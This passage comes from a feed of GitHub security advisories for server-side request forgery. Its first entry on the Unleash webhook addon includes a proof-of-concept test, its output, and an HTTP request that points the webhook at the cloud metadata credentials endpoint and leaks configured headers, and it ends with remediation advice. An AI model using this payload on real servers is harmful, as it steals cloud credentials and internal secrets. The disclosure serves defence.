`http://127.0.0.1:${port}`,\n hits,\n close: () =\u003e\n new Promise((r) =\u003e server.close(() =\u003e r(undefined))),\n });\n });\n });\n}\n\ndescribe(\u0027SSRF via Webhook addon (Unleash v8.0.0)\u0027, () =\u003e {\n test(\u0027server dials an attacker-chosen INTERNAL url with NO filtering\u0027, async () =\u003e {\n const internal = await startInternalListener();\n try {\n const { addon, registerEventMock } = setup();\n\n // The `url` below is exactly what an operator/role-holder supplies\n // as the addon `parameters.url`. It is an internal loopback target;\n // a real attacker would use http://169.254.169.254/latest/... or an\n // internal service. There is NO allow/deny-list in the addon path.\n await addon.handleEvent(\n sampleEvent,\n {\n url: `${internal.url}/latest/meta-data/iam/security-credentials/`,\n // operator-configured secrets get forwarded to the chosen host:\n authorization: \u0027Bearer operator-webhook-secret\u0027,\n customHeaders: JSON.stringify({\n \u0027X-Internal-Secret\u0027: \u0027leaked-to-internal-host\u0027,\n }),\n },\n INTEGRATION_ID,\n );\n\n // PROOF 1: the Unleash process actually connected to the internal URL.\n expect(internal.hits.length).toBe(1);\n expect(internal.hits[0].path).toBe(\n \u0027/latest/meta-data/iam/security-credentials/\u0027,\n );\n // PROOF 2: operator-configured credentials were exfiltrated to the\n // attacker-chosen internal host (header leakage).\n expect(internal.hits[0].auth).toBe(\u0027Bearer operator-webhook-secret\u0027);\n expect(internal.hits[0].secret).toBe(\u0027leaked-to-internal-host\u0027);\n // PROOF 3: the addon recorded SUCCESS (status/timing oracle for blind SSRF).\n const recorded = registerEventMock.mock.calls[0][0];\n expect(recorded.state).toBe(\u0027success\u0027);\n expect(recorded.details.url).toContain(\u0027127.0.0.1\u0027);\n\n // eslint-disable-next-line no-console\n console.log(\n \u0027[PoC] SSRF confirmed -\u003e internal hit:\u0027,\n JSON.stringify(internal.hits[0]),\n );\n } finally {\n await internal.close();\n }\n });\n\n test(\u0027NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard\u0027, async () =\u003e {\n const { addon, registerEventMock } = setup();\n // Point at a closed loopback port. If a real SSRF allow/deny-list existed,\n // the addon would refuse internal targets BEFORE dialing. Instead it dials\n // and only fails at the TCP layer -\u003e proves absence of any URL guard.\n await addon.handleEvent(\n sampleEvent,\n { url: \u0027http://127.0.0.1:1/\" \u0027 },\n INTEGRATION_ID,\n );\n const recorded = registerEventMock.mock.calls[0][0];\n // It attempted the request (state failed due to connection error), it was\n // NOT blocked by a policy. The recorded url is the internal target.\n expect([\u0027failed\u0027, \u0027success\u0027]).toContain(recorded.state);\n expect(recorded.details.url).toContain(\u0027127.0.0.1\u0027);\n });\n});\n```\n\n### Run\n\n```bash\nnpx vitest run --config vitest.poc.config.ts src/lib/addons/ssrf-poc.test.ts\n```\n\n### Observed output (real run against v8.0.0)\n\n```\n RUN v4.1.5\n\nstdout | src/lib/addons/ssrf-poc.test.ts \u003e SSRF via Webhook addon (Unleash v8.0.0) \u003e server dials an attacker-chosen INTERNAL url with NO filtering\n[PoC] SSRF confirmed -\u003e internal hit: {\"path\":\"/latest/meta-data/iam/security-credentials/\",\"auth\":\"Bearer operator-webhook-secret\",\"secret\":\"leaked-to-internal-host\",\"body\":\"{\\\"id\\\":1, ... \\\"type\\\":\\\"feature-created\\\", ... }\"}\n \u2713 src/lib/addons/ssrf-poc.test.ts \u003e SSRF via Webhook addon (Unleash v8.0.0) \u003e server dials an attacker-chosen INTERNAL url with NO filtering\n \u2713 src/lib/addons/ssrf-poc.test.ts \u003e SSRF via Webhook addon (Unleash v8.0.0) \u003e NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard\n\n Test Files 1 passed (1)\n Tests 2 passed (2)\n```\n\nThe internal loopback listener received the request (`path` = the metadata path), with the configured `Authorization: Bearer operator-webhook-secret` and `X-Internal-Secret: leaked-to-internal-host` headers, and the addon recorded the call as a success \u2014 confirming SSRF, blind-oracle, and outbound header exfiltration in one run. End-to-end equivalent over HTTP: `POST /api/admin/addons` with `{ \"provider\":\"webhook\", \"enabled\":true, \"events\":[\"feature-created\"], \"parameters\":{ \"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\", \"authorization\":\"\u2026\" } }` (requires `CREATE_ADDON`), then create any feature flag to trigger the outbound request.\n\n## Remediation\n\nValidate the addon `url` server-side before it is ever dialed, both at create/update time (`addon-service.ts`) and again at request time (`addon.ts` `fetchRetry`). Specifically: require `http`/`https` only; resolve the hostname and reject the request if any resolved address is loopback (`127.0.0.0/8`, `::1`), link-local (`169.254.0.0/16`, `fe80::/10`, including the `169.254.169.254`/`fd00:ec2::254` metadata addresses), private (`10/8`, `172.16/12`, `192.168/16`, `fc00::/7`), or otherwise non-public \u2014 using a DNS-rebinding-safe check that pins the resolved IP and connects to that pinned IP (so the name cannot resolve to a public address at check time and a private one at connect time); and disable or constrain HTTP redirects so a `30x` cannot bounce an allowed host to an internal one. Provide an explicit allow-list / SSRF-protection toggle for operators who must reach internal hooks intentionally. Apply the same guard uniformly to all providers that build on `Addon.fetchRetry` (webhook, Slack, Teams, Datadog, New Relic). Consider not forwarding the configured `Authorization`/`customHeaders` to non-allow-listed hosts to contain credential leakage.\n\nPlease credit 5ud0 / Tarmo Technologies.",
"id": "GHSA-5vf6-jrqr-78fj",
"modified": "2026-08-21T19:14:45Z",
"published": "2026-08-21T19:14:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/security/advisories/GHSA-5vf6-jrqr-78fj"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/commit/2100db76af3473f13e6fb40096cf17a9c2b741a1"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/commit/d45f99df924c0d24747b3e45e46fcda7dcd3c1c1"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/commit/d862562a5ab8f2d1e40f6519c64cf0b4fdaf806d"
},
{
"type": "PACKAGE",
"url": "https://github.com/Unleash/unleash"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/releases/tag/v7.5.2"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/releases/tag/v7.6.5"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/releases/tag/v8.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unleash: Addon webhook URL is dialed server-side with no internal-address filtering, enabling SSRF to internal services / cloud metadata and exfiltration of configured request headers"
}
GHSA-5VF8-PP4V-CCV9
Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-21 18:32An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the my-contacts-settings component.
{
"affected": [],
"aliases": [
"CVE-2025-29453"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T22:15:14Z",
"severity": "MODERATE"
},
"details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the my-contacts-settings component.",
"id": "GHSA-5vf8-pp4v-ccv9",
"modified": "2025-04-21T18:32:08Z",
"published": "2025-04-18T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29453"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/pgg9q7kdbkggtq08"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5VFC-GF4X-6FJ8
Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:49Zimbra Collaboration Suite 8.7.x through 8.8.11 allows Blind SSRF in the Feed component.
{
"affected": [],
"aliases": [
"CVE-2019-6981"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-29T22:29:00Z",
"severity": "MODERATE"
},
"details": "Zimbra Collaboration Suite 8.7.x through 8.8.11 allows Blind SSRF in the Feed component.",
"id": "GHSA-5vfc-gf4x-6fj8",
"modified": "2024-04-04T00:49:40Z",
"published": "2022-05-24T16:46:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6981"
},
{
"type": "WEB",
"url": "https://bugzilla.zimbra.com/show_bug.cgi?id=109096"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5VH4-8356-P89C
Vulnerability from github – Published: 2026-07-15 00:31 – Updated: 2026-07-15 00:31A weakness has been identified in mastergo-design mastergo-magic-mcp up to 0.2.0. Impacted is the function z.string of the file src/tools/get-component-link.ts of the component mcp__getComponentLink. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-15750"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T22:16:52Z",
"severity": "LOW"
},
"details": "A weakness has been identified in mastergo-design mastergo-magic-mcp up to 0.2.0. Impacted is the function z.string of the file src/tools/get-component-link.ts of the component mcp__getComponentLink. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-5vh4-8356-p89c",
"modified": "2026-07-15T00:31:40Z",
"published": "2026-07-15T00:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15750"
},
{
"type": "WEB",
"url": "https://github.com/mastergo-design/mastergo-magic-mcp/issues/89"
},
{
"type": "WEB",
"url": "https://github.com/mastergo-design/mastergo-magic-mcp"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-15750"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/856633"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/378329"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/378329/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.